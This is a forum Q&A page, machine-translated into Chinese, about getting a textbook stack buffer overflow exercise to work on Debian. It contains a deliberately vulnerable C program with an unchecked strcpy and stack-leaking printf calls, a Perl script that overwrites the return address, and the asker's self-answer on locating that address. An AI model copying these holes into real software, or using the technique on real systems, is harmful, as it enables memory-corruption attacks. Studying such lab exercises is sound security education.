Question

我最近参加了一个安全类，其中我们简要介绍了缓冲区溢出。我对我们所涵盖的内容并不满意，所以我找了几个例子来跟随并尝试自己并发现Buffer Overflow Attack

我喜欢这个例子，因为它很容易理解为什么一切都有效。我试图跟进，但是在Debian虚拟机而不是Windows中。

这是网站的C代码：

#pragma check_stack(off)

#include <string.h>
#include <stdio.h> 

void foo(const char* input)
{
    char buf[10];

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);

    if (argc != 2) 
    {
        printf("Please supply a string as an argument!\n");
        return -1;
    } 

    foo(argv[1]);
    return 0;
}

代码通过给出两个函数foo和bar的地址来“欺骗”。最终目标是使用缓冲区溢出来运行bar。为此，他们给出了一个简短的Perl脚本：

$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);

由于我使用的是Linux而不是Windows，并且因为我的bar功能的地址略有不同，所以我做了几个简单的修复：

$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);

我认为它应该像它们的例子一样工作;运行Perl脚本，它将填充文本提供给程序，然后是新的返回地址以运行bar。但它对我不起作用。

这是运行我的Perl脚本的输出：

Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00

ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690

在我的输出中，看似包含任何填充文本的唯一地址是最后一个地址的第三个地址，即返回地址之前的地址。

我怀疑问题来自于使用gcc编译我的程序，但我不确定究竟是什么导致它。这个问题也可能是Debian。以下是我编写程序的方法：

gcc -z execstack -fno-stack-protector prog.c -o prog

我希望没有堆栈保护程序的编译可以让我按照示例顺利进行。

任何帮助都会很棒，我完全陷入困境。实际上我可以简单地切换到Windows，但此时我真的想知道为什么它不起作用以及如何解决它。

Answer 1

好的，所以我将在这里回答我自己的问题，以防将来有人对此表示好奇。

基本上问题源于没有打印足够的内存地址来获得清晰的堆栈图像。如果您按照问题中的链接进行操作，您会发现打印堆栈的6个内存地址对于他们的系统来说已经足够了，但对我们来说还不够。我的朋友建议改变源代码：

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

strcpy(buf, input);
printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

到此：

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

strcpy(buf, input);

printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

这一改变对我们来说有两件事。首先，它增加了打印到13的地址量。其次，它打印缓冲区开始的地址。第二部分很重要，因为它为我们提供了在给定的堆栈地址中查找的相对值。例如：

overflow@OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220

Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

在此示例中，我们可以看到Address of Buffer: 0x7ffddab71220。如果我们查看它下面的堆栈地址，我们会发现一个非常类似的地址：0x7ffddab72653。我们可以将此视为缓冲区的起点，以便以下几个地址将成为缓冲区的存储容器。事实上，在这个例子中，我打印了＃34; ZZZZZZ＆＃34;到缓冲区，你可以看到我们的起点后面的地址已经变为0x5a5a5a5a5a5a，你可能已经猜到了，这是＆＃34; ZZZZZZ＆＃34;十六进制。

很好，所以现在我们知道缓冲区的实际开始位置，但我们不知道哪个是返回地址。如果我们查看函数的地址：

Address of foo = 0x400596和Address of bar = 0x400601 我们可以在缓冲区起点之下找到一个类似的值，在这种情况下：0x400672。

此时我们知道我们需要的全部内容：哪些内存地址存储缓冲区，我们要调用的函数的地址，最重要的是我们要覆盖的返回地址。此时，需要尝试使用perl脚本，在缓冲区中添加字符，直到得到所需的结果。

尝试缓冲区溢出

1 个答案: